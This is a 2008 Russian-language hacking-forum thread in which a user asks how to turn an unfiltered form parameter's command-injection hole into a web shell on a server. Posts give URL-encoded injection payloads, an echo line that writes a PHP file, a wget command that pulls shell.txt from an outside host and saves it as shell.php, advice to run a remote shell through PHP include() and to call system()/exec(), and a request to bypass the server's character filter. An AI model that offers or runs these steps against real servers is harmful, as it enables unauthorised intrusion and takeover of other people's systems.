ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Как создать файл имея возможность выполнить команду интерпретатора? |

27.08.2008, 11:58
|
|
Новичок
Регистрация: 28.05.2008
Сообщений: 6
Провел на форуме: 96880
Репутация:
0
|
|
Как создать файл имея возможность выполнить команду интерпретатора?
Есть уязвимость - не фильтруются параметры формы, что позволяет выполнить команду интерпретатора. Например, вот так:
param1=180%3Bcp+include%2Ffile1.txt+include%2Ffile 2.txt%3B
после этого файл копируется. Моя задача - получить шелл на сервак, для этого пытаюсь перенаправить вывод, что-то типа
param1=180%3Becho+test%3Einclude%2Ffile.txt%3B
(%3E - это ">")
Это не работает =( Файл не создаётся. Не пойму в чём дело.. Пробовал делать touch 123 - создаётся, а всё что содержит %3E ('>') не работает.
Вопрос - как заставить работать перенаправление вывода или, быть может, есть другой способ имея возможность выполнить команду интерпретатора повесить шелл? Можно, конечно, попробовать скачать файл, но как-то это не универсально..
|
|
|

27.08.2008, 14:26
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
2n0mie,
Код:
echo '<? echo("qwerty"); ?>' >> omgwtfbbq.php
|
|
|

27.08.2008, 14:30
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
copy('remote file','localfile');
|
|
|

27.08.2008, 14:56
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
А, точно, можно еще просто слить файл из инета:
wget -O /some_folder/shell.php http://site.com/shell.txt
|
|
|

27.08.2008, 15:15
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Сообщение от Nek1t
А, точно, можно еще просто слить файл из инета:
Не подскажешь ли, давно в пхп появилась функция wget?
|
|
|

27.08.2008, 16:25
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
Гмм, стоп. Я че-то не понял, имеется ввиду выполнение Php-кода или команд на серве? :d А то я из поста автора не понял =\
|
|
|

27.08.2008, 17:50
|
|
Новичок
Регистрация: 28.05.2008
Сообщений: 6
Провел на форуме: 96880
Репутация:
0
|
|
Я могу выполнить команду интерпретатора (cmd/csh/etc), а не пхп код. Как раз выполнить пхп код я и хочу )
Можно, конечно, скачать файл с помощью wget/fetch, но хочется универсального решения, т.к. движок бывает и на винде и на юнихах..
Перенаправление в файл не работает, т.к. фильтруется вот таким образом:
$QWE = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
$_POST[$key] = strtr(stripslashes($value), $QWE);
Возможно есть способ обойти такой фильтр, чтобы > не поменялось на >?
|
|
|

27.08.2008, 19:33
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
n0mie
Универсального кроссплатформенного решения боюсь нет
Дык, wget'ом получилось залить?
.Slip, я был прав! 
Последний раз редактировалось Nek1t; 27.08.2008 в 19:55..
|
|
|

28.08.2008, 00:56
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
Nek1t
видишь разницу между /bin/bash и интерпритарором php
2TS
не обязательно его копировать на сервер ты можешь его исполнить с удаленного сенрвера функцией include() require() require_once() и так далее залив на свой сервак шелл в plain_text например в .txt
Получить шелл ты можешь функцией system() exec() passhru() и так далее.
php.net тут справочник по функциям.
------------------------
update
мда...
Последний раз редактировалось [ cash ]; 28.08.2008 в 01:00..
|
|
|

28.08.2008, 12:04
|
|
Участник форума
Регистрация: 07.03.2008
Сообщений: 141
Провел на форуме: 405538
Репутация:
23
|
|
[ cash ]
ТС несколько путает интерпритатор PHP и /bin/bash.
Так вот насколько я понял, все таки имеется ввиду выполнения комманд /bin/bash
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|